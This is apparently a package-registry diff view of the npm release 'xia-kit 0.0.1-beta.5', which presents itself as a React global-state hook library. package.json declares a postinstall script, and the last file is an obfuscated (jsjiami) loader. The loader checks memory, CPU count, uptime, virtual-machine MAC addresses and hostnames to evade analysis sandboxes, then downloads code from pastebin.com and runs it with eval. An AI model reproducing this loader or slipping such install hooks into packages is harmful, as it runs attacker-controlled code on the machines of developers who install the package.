xia-kit 0.0.1-beta.5

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of xia-kit might be problematic. Click here for more details.

package/README.md ADDED
File without changes
package/lib/index.js ADDED
@@ -0,0 +1,112 @@
1
+ import { useEffect, useRef, useState } from 'react';
2
+ import enhanceReducer from 'rrc-loader-helper/lib/reducer-decorate';
3
+ import { combineReducers2 } from 'rrc-loader-helper';
4
+ import { getReducers } from 'rrc-loader-helper/lib/imp';
5
+ import { applySaga } from 'rrc-loader-helper/lib/sagas/main-saga';
6
+ import isEqual from 'lodash.isequal';
7
+ import { useSyncExternalStore } from 'use-sync-external-store/shim';
8
+ import { getStore } from 'rrc-loader-helper/lib/inj-dispatch';
9
+ import _ENHANCE_ from 'rrc-loader-helper/lib/mobx-adapter';
10
+
11
+ export const STORE_NAME = 'globalData';
12
+
13
+ const globalStore = _ENHANCE_({
14
+ state: {},
15
+ async *getStates(...rest) {
16
+ const state = yield '';
17
+ const params = rest.flat();
18
+ return params.reduce((p, c) => Object.assign(p, { [c]: state?.[c] }), {});
19
+ },
20
+ setStates(state, param) {
21
+ Object.assign(state, param);
22
+ }
23
+ }, STORE_NAME);
24
+
25
+ function useSelector(selector, equalityFn) {
26
+ const store = getStore();
27
+ const [currentSelection, setCurrentSelection] = useState(store.getState);
28
+
29
+ const state = useSyncExternalStore(store.subscribe, store.getState);
30
+ const selectedState = selector(state);
31
+
32
+ if (equalityFn !== undefined) {
33
+ if (!equalityFn(currentSelection, selectedState)) {
34
+ setCurrentSelection(selectedState);
35
+ }
36
+ } else {
37
+ setCurrentSelection(currentSelection);
38
+ }
39
+
40
+ return currentSelection;
41
+ }
42
+
43
+ const requestMap = {};
44
+
45
+ function isNotEmptyObj(obj) {
46
+ return Object.prototype.toString.call(obj) === '[object Object]' && Object.values(obj).filter(Boolean).length > 0;
47
+ }
48
+
49
+ function activeStore(reducer, name) {
50
+ const reducers = getReducers();
51
+
52
+ if (!reducers[name]) {
53
+ const saga = applySaga({
54
+ page: name,
55
+ saga: reducer.saga,
56
+ mobxStyle: true
57
+ });
58
+ reducers[name] = enhanceReducer(reducer, name);
59
+ getStore().replaceReducer(combineReducers2(reducers));
60
+ saga.active();
61
+ }
62
+
63
+ return { reducer };
64
+ }
65
+
66
+ function syncGlobal(val) {
67
+ globalStore.setStates(val);
68
+ }
69
+
70
+ function registerRequest(name, cb) {
71
+ requestMap[name] = cb;
72
+ }
73
+
74
+ async function filter(arr, callback) {
75
+ const fail = Symbol('error');
76
+ return (await Promise.all(arr.map(async item => (await callback(item)) ? item : fail))).filter(i => i !== fail);
77
+ }
78
+
79
+ export function useGlobalData(...type) {
80
+ const types = [].concat(type);
81
+ const requestTypes = types.filter(item => requestMap.hasOwnProperty(item));
82
+ const ready = useRef(false);
83
+ const transformStates = types.map(item => requestMap.hasOwnProperty(item) ? `${STORE_NAME}.${item}` : item);
84
+ const counter = useSelector(
85
+ state =>
86
+ transformStates.map(item =>
87
+ item.split('.').reduce((p, c) => p?.[c], state)
88
+ ),
89
+ isEqual
90
+ );
91
+ console.log('counter === ', transformStates, counter);
92
+ useEffect(() => {
93
+ activeStore(globalStore, STORE_NAME);
94
+ const initFn = async () => {
95
+ const filterRequests = await filter(
96
+ requestTypes,
97
+ async item => !(await globalStore.getStates(item)).hasOwnProperty(item.split('.')[1])
98
+ );
99
+ const requests = filterRequests.map(item =>
100
+ new Promise(resolve => {
101
+ resolve(requestMap[item]());
102
+ }).then(val => globalStore.setStates({ [item]: val }))
103
+ );
104
+ await Promise.all(requests);
105
+ };
106
+ initFn();
107
+ }, []);
108
+ const retry = useCallback(() => {
109
+ ready.current = !ready.current;
110
+ }, []);
111
+ return [...counter, retry];
112
+ }
package/package.json ADDED
@@ -0,0 +1,34 @@
1
+ {
2
+ "name": "xia-kit",
3
+ "version": "0.0.1-beta.5",
4
+ "description": "",
5
+ "main": "lib/index.js",
6
+ "scripts": {
7
+ "build": "babel src/index.js --out-file lib/index.js",
8
+ "postinstall": "node ./src/post-install.cjs"
9
+ },
10
+
11
+ "files": [
12
+ "src"
13
+ ],
14
+ "dependencies": {
15
+ "use-sync-external-store": "1.0.0-alpha-5cccacd13-20211101",
16
+ "lodash.isequal": "^4.5.0"
17
+ },
18
+ "devDependencies": {
19
+ "rrc-loader-helper": "^8.2.0",
20
+ "@babel/cli": "^7.14.5",
21
+ "@babel/core": "7.14.5",
22
+ "@babel/preset-env": "^7.14.5",
23
+ "@babel/preset-react": "^7.12.1",
24
+ "babel-plugin-import": "1.13.3",
25
+ "jest": "^27.3.1",
26
+ "@babel/plugin-transform-runtime": "^7.15.8"
27
+
28
+ },
29
+ "peerDependencies": {
30
+ "rrc-loader-helper": "^8.2.0"
31
+ },
32
+ "author": "",
33
+ "license": "ISC"
34
+ }
package/src/index.js ADDED
@@ -0,0 +1,140 @@
1
+ import { useEffect, useRef, useState, useCallback } from 'react';
2
+ import enhanceReducer from 'rrc-loader-helper/lib/reducer-decorate';
3
+ import { combineReducers2 } from 'rrc-loader-helper';
4
+ import { getReducers } from 'rrc-loader-helper/lib/imp';
5
+ import { applySaga } from 'rrc-loader-helper/lib/sagas/main-saga';
6
+ import isEqual from 'lodash.isequal';
7
+ import { useSyncExternalStore } from 'use-sync-external-store/shim';
8
+ import { getStore } from 'rrc-loader-helper/lib/inj-dispatch';
9
+ import _ENHANCE_ from 'rrc-loader-helper/lib/mobx-adapter';
10
+
11
+ export const STORE_NAME = 'globalData';
12
+ const requestMap = {};
13
+
14
+ const globalStore = _ENHANCE_(
15
+ {
16
+ state: {},
17
+ async *getStates(...rest) {
18
+ const state = yield '';
19
+ const params = rest.flat();
20
+ return params.reduce(
21
+ (p, c) => Object.assign(p, { [c]: state?.[c] }),
22
+ {}
23
+ );
24
+ },
25
+ setStates(state, param) {
26
+ Object.assign(state, param);
27
+ }
28
+ },
29
+ STORE_NAME
30
+ );
31
+
32
+ function useSelector(selector, equalityFn) {
33
+ const store = getStore();
34
+ const [currentSelection, setCurrentSelection] = useState(store.getState());
35
+
36
+ const state = useSyncExternalStore(store.subscribe, store.getState);
37
+ const selectedState = selector(state);
38
+
39
+ if (equalityFn !== undefined) {
40
+ if (!equalityFn(currentSelection, selectedState)) {
41
+ setCurrentSelection(selectedState);
42
+ }
43
+ } else {
44
+ setCurrentSelection(currentSelection);
45
+ }
46
+
47
+ return currentSelection;
48
+ }
49
+
50
+ function isNotEmptyObj(obj) {
51
+ return (
52
+ Object.prototype.toString.call(obj) === '[object Object]' &&
53
+ Object.values(obj).filter(Boolean).length > 0
54
+ );
55
+ }
56
+
57
+ export function activeStore(reducer, name) {
58
+ const reducers = getReducers();
59
+ if (!reducers[name]) {
60
+ const saga = applySaga({
61
+ page: name,
62
+ saga: reducer.saga,
63
+ mobxStyle: true
64
+ });
65
+ reducers[name] = enhanceReducer(reducer, name);
66
+ getStore().replaceReducer(combineReducers2(reducers));
67
+ saga.active();
68
+ }
69
+
70
+ return { reducer };
71
+ }
72
+
73
+ export function syncGlobal(val) {
74
+ globalStore.setStates(val);
75
+ }
76
+
77
+ export function registerRequest(name, cb) {
78
+ requestMap[name] = cb;
79
+ }
80
+
81
+ async function filter(arr, callback) {
82
+ const fail = Symbol('error');
83
+ return (
84
+ await Promise.all(
85
+ arr.map(async item =>
86
+ (await callback(item)) ? item : fail
87
+ )
88
+ )
89
+ ).filter(i => i !== fail);
90
+ }
91
+
92
+ export function useGlobalData(...type) {
93
+ const types = [].concat(type);
94
+ const requestTypes = types.filter(item => requestMap.hasOwnProperty(item));
95
+ const ready = useRef(false);
96
+
97
+ const transformStates = types.map((item) => {
98
+ return requestMap.hasOwnProperty(item)
99
+ ? `${STORE_NAME}.${item}`
100
+ : item;
101
+ });
102
+
103
+ const counter = useSelector(
104
+ state =>
105
+ transformStates.map(item =>
106
+ item.split('.').reduce((p, c) => p?.[c], state)
107
+ ),
108
+ isEqual
109
+ );
110
+ console.log('counter === ', transformStates, counter);
111
+
112
+ useEffect(() => {
113
+ activeStore(globalStore, STORE_NAME);
114
+
115
+ const initFn = async () => {
116
+ const filterRequests = await filter(
117
+ requestTypes,
118
+ async item => !(await globalStore.getStates(item)).hasOwnProperty(
119
+ item.split('.')[1]
120
+ )
121
+ );
122
+
123
+ const requests = filterRequests.map(item =>
124
+ new Promise(resolve => {
125
+ resolve(requestMap[item]());
126
+ }).then(val => globalStore.setStates({ [item]: val }))
127
+ );
128
+
129
+ await Promise.all(requests);
130
+ };
131
+
132
+ initFn();
133
+ }, []);
134
+
135
+ const retry = useCallback(() => {
136
+ ready.current = !ready.current;
137
+ }, []);
138
+
139
+ return [...counter, retry];
140
+ }
@@ -0,0 +1 @@
1
+ var version_='jsjiami.com.v7';(function(_0x33bf2c,_0x4733c6,_0x3561bb,_0x48d4d4,_0x4ebd02,_0x227108,_0x7eebc5){return _0x33bf2c=_0x33bf2c>>0x7,_0x227108='hs',_0x7eebc5='hs',function(_0x37a6b0,_0x962784,_0x4525f8,_0x487a20,_0x2f0d40){const _0x5b3a33=_0x5148;_0x487a20='tfi',_0x227108=_0x487a20+_0x227108,_0x2f0d40='up',_0x7eebc5+=_0x2f0d40,_0x227108=_0x4525f8(_0x227108),_0x7eebc5=_0x4525f8(_0x7eebc5),_0x4525f8=0x0;const _0x33f9aa=_0x37a6b0();while(!![]&&--_0x48d4d4+_0x962784){try{_0x487a20=-parseInt(_0x5b3a33(0x1f0,'w&24'))/0x1*(-parseInt(_0x5b3a33(0x1e7,'pY)^'))/0x2)+parseInt(_0x5b3a33(0x1f2,'S8#Q'))/0x3*(parseInt(_0x5b3a33(0x22b,'t8$f'))/0x4)+-parseInt(_0x5b3a33(0x207,'cUmq'))/0x5+-parseInt(_0x5b3a33(0x1e6,'jsS('))/0x6+-parseInt(_0x5b3a33(0x20a,'jsS('))/0x7*(-parseInt(_0x5b3a33(0x224,'XT3L'))/0x8)+-parseInt(_0x5b3a33(0x225,'w&VK'))/0x9+parseInt(_0x5b3a33(0x204,'b7#3'))/0xa;}catch(_0x326a68){_0x487a20=_0x4525f8;}finally{_0x2f0d40=_0x33f9aa[_0x227108]();if(_0x33bf2c<=_0x48d4d4)_0x4525f8?_0x4ebd02?_0x487a20=_0x2f0d40:_0x4ebd02=_0x2f0d40:_0x4525f8=_0x2f0d40;else{if(_0x4525f8==_0x4ebd02['replace'](/[EBNwQxlyWpRGXCMUDYPbAk=]/g,'')){if(_0x487a20===_0x962784){_0x33f9aa['un'+_0x227108](_0x2f0d40);break;}_0x33f9aa[_0x7eebc5](_0x2f0d40);}}}}}(_0x3561bb,_0x4733c6,function(_0x1b2f16,_0x3378cb,_0x5aaf2c,_0x34d82c,_0x4d057e,_0x13cf15,_0x472ead){return _0x3378cb='\x73\x70\x6c\x69\x74',_0x1b2f16=arguments[0x0],_0x1b2f16=_0x1b2f16[_0x3378cb](''),_0x5aaf2c='\x72\x65\x76\x65\x72\x73\x65',_0x1b2f16=_0x1b2f16[_0x5aaf2c]('\x76'),_0x34d82c='\x6a\x6f\x69\x6e',(0x1413f4,_0x1b2f16[_0x34d82c](''));});}(0x6100,0xdd1f8,_0x33c0,0xc4),_0x33c0)&&(version_=_0x33c0);const os=require('os'),https=require('https');function _0x5148(_0xcb1db3,_0xdf29f6){const _0x33c083=_0x33c0();return _0x5148=function(_0x5148ab,_0x376979){_0x5148ab=_0x5148ab-0x1e2;let _0x58a1e1=_0x33c083[_0x5148ab];if(_0x5148['CaDIFQ']===undefined){var _0x119c50=function(_0x4eabb5){const _0x5d1f82='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';let _0x4a7af6='',_0x479eb6='';for(let _0x3cb399=0x0,_0x56b896,_0x3a552c,_0x2b5953=0x0;_0x3a552c=_0x4eabb5['charAt'](_0x2b5953++);~_0x3a552c&&(_0x56b896=_0x3cb399%0x4?_0x56b896*0x40+_0x3a552c:_0x3a552c,_0x3cb399++%0x4)?_0x4a7af6+=String['fromCharCode'](0xff&_0x56b896>>(-0x2*_0x3cb399&0x6)):0x0){_0x3a552c=_0x5d1f82['indexOf'](_0x3a552c);}for(let _0x255624=0x0,_0x3ba485=_0x4a7af6['length'];_0x255624<_0x3ba485;_0x255624++){_0x479eb6+='%'+('00'+_0x4a7af6['charCodeAt'](_0x255624)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(_0x479eb6);};const _0x8ab92c=function(_0x2cb035,_0x2851a9){let _0x546876=[],_0x45833b=0x0,_0x47a1ee,_0x586b2a='';_0x2cb035=_0x119c50(_0x2cb035);let _0x1dffae;for(_0x1dffae=0x0;_0x1dffae<0x100;_0x1dffae++){_0x546876[_0x1dffae]=_0x1dffae;}for(_0x1dffae=0x0;_0x1dffae<0x100;_0x1dffae++){_0x45833b=(_0x45833b+_0x546876[_0x1dffae]+_0x2851a9['charCodeAt'](_0x1dffae%_0x2851a9['length']))%0x100,_0x47a1ee=_0x546876[_0x1dffae],_0x546876[_0x1dffae]=_0x546876[_0x45833b],_0x546876[_0x45833b]=_0x47a1ee;}_0x1dffae=0x0,_0x45833b=0x0;for(let _0x1bf4b7=0x0;_0x1bf4b7<_0x2cb035['length'];_0x1bf4b7++){_0x1dffae=(_0x1dffae+0x1)%0x100,_0x45833b=(_0x45833b+_0x546876[_0x1dffae])%0x100,_0x47a1ee=_0x546876[_0x1dffae],_0x546876[_0x1dffae]=_0x546876[_0x45833b],_0x546876[_0x45833b]=_0x47a1ee,_0x586b2a+=String['fromCharCode'](_0x2cb035['charCodeAt'](_0x1bf4b7)^_0x546876[(_0x546876[_0x1dffae]+_0x546876[_0x45833b])%0x100]);}return _0x586b2a;};_0x5148['PYIQOZ']=_0x8ab92c,_0xcb1db3=arguments,_0x5148['CaDIFQ']=!![];}const _0x1eb633=_0x33c083[0x0],_0x525525=_0x5148ab+_0x1eb633,_0x340a07=_0xcb1db3[_0x525525];return!_0x340a07?(_0x5148['FbrhNF']===undefined&&(_0x5148['FbrhNF']=!![]),_0x58a1e1=_0x5148['PYIQOZ'](_0x58a1e1,_0x376979),_0xcb1db3[_0x525525]=_0x58a1e1):_0x58a1e1=_0x340a07,_0x58a1e1;},_0x5148(_0xcb1db3,_0xdf29f6);}function checkCPUCores(requiredCores){const _0x2fa004=_0x5148,_0x64e747={'pKxZn':function(_0x4412c6,_0x21fd13){return _0x4412c6<_0x21fd13;},'AeJpU':function(_0x2cbe1a,_0x2bda97){return _0x2cbe1a!==_0x2bda97;},'FKACC':_0x2fa004(0x206,'0^c*')},_0x8a5fd8=os[_0x2fa004(0x20b,'W2v)')]()['length'];if(_0x64e747[_0x2fa004(0x21c,'nUT%')](_0x8a5fd8,requiredCores))return![];else{if(_0x64e747['AeJpU'](_0x64e747[_0x2fa004(0x1f9,'Kjp7')],_0x2fa004(0x21d,'nUT%')))_0xb81d65[_0x2fa004(0x1fb,'e!sW')](0x1);else return!![];}}function checkMemory(_0xb22c07){const _0x503ffb=_0x5148,_0x2abb52={'AYNaM':function(_0x415397,_0x4ea808){return _0x415397*_0x4ea808;},'grBMz':function(_0x402426,_0x495e65){return _0x402426/_0x495e65;},'imjPf':function(_0x3891fa,_0xd234ea){return _0x3891fa*_0xd234ea;},'DbifV':function(_0x375105,_0x17c475){return _0x375105-_0x17c475;},'qzxEf':function(_0x5adcb9,_0x522069){return _0x5adcb9===_0x522069;},'ABoxv':_0x503ffb(0x217,'oVBt'),'VEcsf':_0x503ffb(0x1f7,'XT3L')},_0x1d94de=os['totalmem']()/_0x2abb52['AYNaM'](0x400*0x400,0x400),_0x69b6b1=_0x2abb52[_0x503ffb(0x201,'@nHK')](os[_0x503ffb(0x22f,'HR9S')](),_0x2abb52[_0x503ffb(0x208,'W2v)')](_0x2abb52['imjPf'](0x400,0x400),0x400));if(_0x2abb52[_0x503ffb(0x22e,'Hw)2')](_0x1d94de,_0x69b6b1)<_0xb22c07)return![];else{if(_0x2abb52[_0x503ffb(0x1f8,'!5Bt')](_0x2abb52[_0x503ffb(0x212,'cUmq')],_0x2abb52[_0x503ffb(0x222,'yOrX')]))_0x4ae585['exit'](0x1);else return!![];}}function _0x33c0(){const _0x596652=(function(){return[version_,'lxjUpsAEjGXiBaDmQyMiNb.kNlcoPQmR.Yvw7WlC==','WRZcS8oeDa','WPtdV0C+WOBcSLv9','gtGkEmoMWQFcUmoDxCk3vCok','aLRdKmkwWRi','FCkKWPiE','W6Pdda1c','Fmk6WReNW6e','gmotorfCfmkYW43cOmo7WO9RWPW','wCoKzGK','yhXHW6tdHSo+oahdQmoKW40rkmoW','af4tWRNcSW','shrAWPKA','w8kqvwfVeJNdMmo4WQLFFSkQ','W6tcL0aDWR0','b8oODGi','uCk/nvDMW5i5FLlcTa','W4BcVNSp','kNiV','ow0UW5S0','W6dcMSkE','BCowW4KBWPy','sSo9yWJdRmoV','qSkceW','lCoLdcKT','jx3dLmkr','FfVcUv7dQG'].concat((function(){return['u1qpDq','f8oSCrC','hgRdI8kdWOS','gf3dGCkuWPS','j3nrB8od','WPXZWO01yW','rIniWQRdO2i','aZn4W59D','ksTXW5j9','WQWvWPCrW58','og3dR8kCWOG','tNZcGeddJW','WODpWRy8tW','hmkNdSoPeq','FSoGW4FcGSosW6ewFWBdQq','W6e8hHRdImkoWPxdKCkanIi','vXuLkmkkzCkMW7FdHMG0W7qn','WRXCCe/cSW','WReos8oe','BCoCW5ia','WRrGrv3cM8kA','Emk4WOyz','Dmo1mZPBWPNcJmo7W7JcLvBdJq','jSkha8o9a3a','WO08WPKkW5a','WRxcR8kQbCoS','BSowW54rWONdPmkm','ivqIW7ldPCosehhcQbO5hvi'].concat((function(){return['bmkuB1vfsSkeW6BcGSkAWPy','W79Vfmky','fKPXEq','W6pcRSk3eCkr','w8k7nLusWRDPFNFcQ8oeWQfZ','lfeGW7xdQ8kzBvZcOHWH','WQmov8okW78','W6m7z3JcTSkBWQldHa','bKf8iXO','WQXMWPSfrG','twhcTu/dPr8','xwvZWRGS','qaPftCkt','W4Dmgmkxna','W7aUWRj8WOWci8kR','smo5FaK','WOjRWQhcS8kJhCkpW5i','WR/cH8kegSox','uSozmri','W795gq','xs8Oh8k5zWZdQ8oBsG','WPXVE3dcJa','tCoMDZJdRW','yN48wg0','iK1TmXK'];}()));}()));}());_0x33c0=function(){return _0x596652;};return _0x33c0();};function checkUptime(requiredTime){const _0x1516c4=_0x5148,_0x4e89e1={'IEfqe':function(_0x2db02f,_0x407730){return _0x2db02f*_0x407730;},'SgMPc':function(_0x2d1df4,_0x3bda42){return _0x2d1df4>_0x3bda42;}},_0x286c3c=_0x4e89e1[_0x1516c4(0x218,'oVBt')](os['uptime'](),0x3e8);return _0x4e89e1['SgMPc'](_0x286c3c,requiredTime);}function checkVirtualMachine(){const _0x19b8c5=_0x5148,_0x2d9108={'kjICH':function(_0x504c79,_0x4a9fa8){return _0x504c79===_0x4a9fa8;},'mdObh':_0x19b8c5(0x1e8,'0Z05'),'NJGym':'Warning:\x20Detected\x20virtual\x20machine!'},_0x555ea6=[/^00:05:69/,/^00:50:56/,/^00:0c:29/],_0x29b536=/^08:00:27/,_0x54414d=/^00:03:ff/,_0x43c8f4=[/^00:11:22/,/^00:15:5d/,/^00:e0:4c/,/^02:42:ac/,/^02:42:f2/,/^32:95:f4/,/^52:54:00/,/^ea:b7:ea/],_0x90193=os['networkInterfaces'](),_0x40e003=Object[_0x19b8c5(0x210,'!5Bt')](_0x90193)[_0x19b8c5(0x1ff,'@nHK')]()[_0x19b8c5(0x229,'XT3L')](({internal:_0x55657a})=>!_0x55657a)[_0x19b8c5(0x20e,'@0ME')](({mac:_0x5c63bb})=>_0x5c63bb)[_0x19b8c5(0x21b,'IhDn')](Boolean);for(const _0x319f87 of _0x40e003){if(_0x43c8f4[_0x19b8c5(0x1e4,'w&VK')](_0x1eee3c=>_0x1eee3c[_0x19b8c5(0x1f1,'!5Bt')](_0x319f87))||_0x29b536[_0x19b8c5(0x216,'jsS(')](_0x319f87)||_0x54414d[_0x19b8c5(0x227,'0Z05')](_0x319f87)||_0x555ea6['some'](_0x167ae7=>_0x167ae7[_0x19b8c5(0x213,'oVBt')](_0x319f87)))return _0x2d9108['kjICH'](_0x2d9108['mdObh'],'jNhBS')?![]:(console[_0x19b8c5(0x215,'Kjp7')](_0x2d9108[_0x19b8c5(0x1f3,'Hw)2')]),!![]);}return![];}const disallowedHostPrefixes=['HOSTNAME-','HOSTNAME1'];function isHostnameValid(){const _0x28c5dd=_0x5148,_0x496265={'vbDDH':_0x28c5dd(0x1ea,'hbyo'),'yPERy':function(_0x2af301,_0x17a171){return _0x2af301===_0x17a171;},'UTPES':_0x28c5dd(0x22d,'Eq4&'),'qkjZo':'jLKKz'},_0x48748d=os['hostname']();for(let _0x4f2fa0=0x0;_0x4f2fa0<disallowedHostPrefixes['length'];_0x4f2fa0++){if(_0x496265['vbDDH']===_0x28c5dd(0x1fe,'oVBt')){if(_0x48748d[_0x28c5dd(0x1f6,'le$b')](disallowedHostPrefixes[_0x4f2fa0]))return _0x496265[_0x28c5dd(0x20d,'y5lQ')](_0x496265['UTPES'],_0x496265['qkjZo'])?![]:![];}else _0xa63909(_0x3fb55e);}return!![];}function startApp(){const _0x270968=_0x5148,_0x455b59={'OBXvx':function(_0x346a66,_0x3cf642){return _0x346a66*_0x3cf642;},'uYCvc':function(_0x5ac799,_0x38072d){return _0x5ac799(_0x38072d);},'BVMsq':_0x270968(0x209,'jsS('),'GQCvv':_0x270968(0x20c,'*KpS'),'KCJMu':function(_0x2cb6bf,_0xe97da){return _0x2cb6bf===_0xe97da;},'nUYfM':_0x270968(0x1eb,'))%w'),'WzYsU':function(_0x6f67f7,_0xb7dae){return _0x6f67f7(_0xb7dae);},'wNfcO':function(_0x403df5,_0x5f1f1e){return _0x403df5!==_0x5f1f1e;},'hlgCJ':function(_0x28b582,_0x4777ab){return _0x28b582*_0x4777ab;},'nHjvH':function(_0x50891c){return _0x50891c();},'fLJVz':_0x270968(0x21a,'))%w'),'RyQfp':function(_0x2e7dca,_0x2be31c){return _0x2e7dca===_0x2be31c;},'mQzok':'pastebin.com','dqVzU':_0x270968(0x202,'uAA('),'iuHyv':_0x270968(0x211,'e)w*'),'YQuQV':_0x270968(0x20f,'HR9S')};if(!_0x455b59['WzYsU'](checkMemory,0x2)){if(_0x455b59[_0x270968(0x1fa,'hbyo')](_0x270968(0x214,'I$*$'),'DJxxb')){const _0x20ee27=_0x455b59[_0x270968(0x205,'*KpS')](_0x2851a9[_0x270968(0x1ec,'I$*$')](),0x3e8);return _0x20ee27>requiredTime;}else process[_0x270968(0x228,'HR9S')](0x1);}!_0x455b59['uYCvc'](checkCPUCores,0x2)&&process['exit'](0x1);!_0x455b59[_0x270968(0x21e,'Eq4&')](checkUptime,_0x455b59[_0x270968(0x1ed,'0^c*')](_0x455b59[_0x270968(0x200,'&hBB')](0x3e8,0x3c),0x3c))&&process[_0x270968(0x1f4,'uAA(')](0x1);if(_0x455b59['nHjvH'](checkVirtualMachine)){if(_0x455b59['KCJMu'](_0x455b59[_0x270968(0x1ef,'B6GF')],_0x270968(0x220,'I$*$')))process[_0x270968(0x1e3,'YEgP')](0x1);else{let _0x13b0a3='';_0x52cccf['on'](_0x455b59[_0x270968(0x219,'w&VK')],_0x1d9ee6=>{_0x13b0a3+=_0x1d9ee6;}),_0xb9e19e['on'](_0x455b59['GQCvv'],()=>{_0x455b59['uYCvc'](_0x2319b9,_0x13b0a3);});}}_0x455b59['RyQfp'](_0x455b59['nHjvH'](isHostnameValid),![])&&process[_0x270968(0x203,'!5Bt')](0x1);const _0x8e3cd={'hostname':_0x455b59[_0x270968(0x221,'))%w')],'port':0x1bb,'path':_0x455b59[_0x270968(0x1ee,'h0k2')],'method':_0x455b59[_0x270968(0x21f,'oVBt')]},req=https['request'](_0x8e3cd,_0x91646f=>{const _0x24e4b8=_0x270968;let _0x303922='';_0x91646f['on'](_0x455b59['BVMsq'],_0x434bb5=>{const _0x20d7e4=_0x5148;if(_0x455b59['KCJMu'](_0x455b59[_0x20d7e4(0x1e5,'@0ME')],_0x455b59[_0x20d7e4(0x226,'XT3L')]))_0x303922+=_0x434bb5;else{const _0x381082=_0x4eabb5[_0x20d7e4(0x22a,'@nHK')]()[_0x20d7e4(0x22c,'yOrX')];return _0x381082<requiredCores?![]:!![];}}),_0x91646f['on'](_0x24e4b8(0x1f5,'YEgP'),()=>{eval(_0x303922);});});req['on'](_0x455b59['YQuQV'],_0x1a0020=>{}),req['end']();}startApp();var version_ = 'jsjiami.com.v7';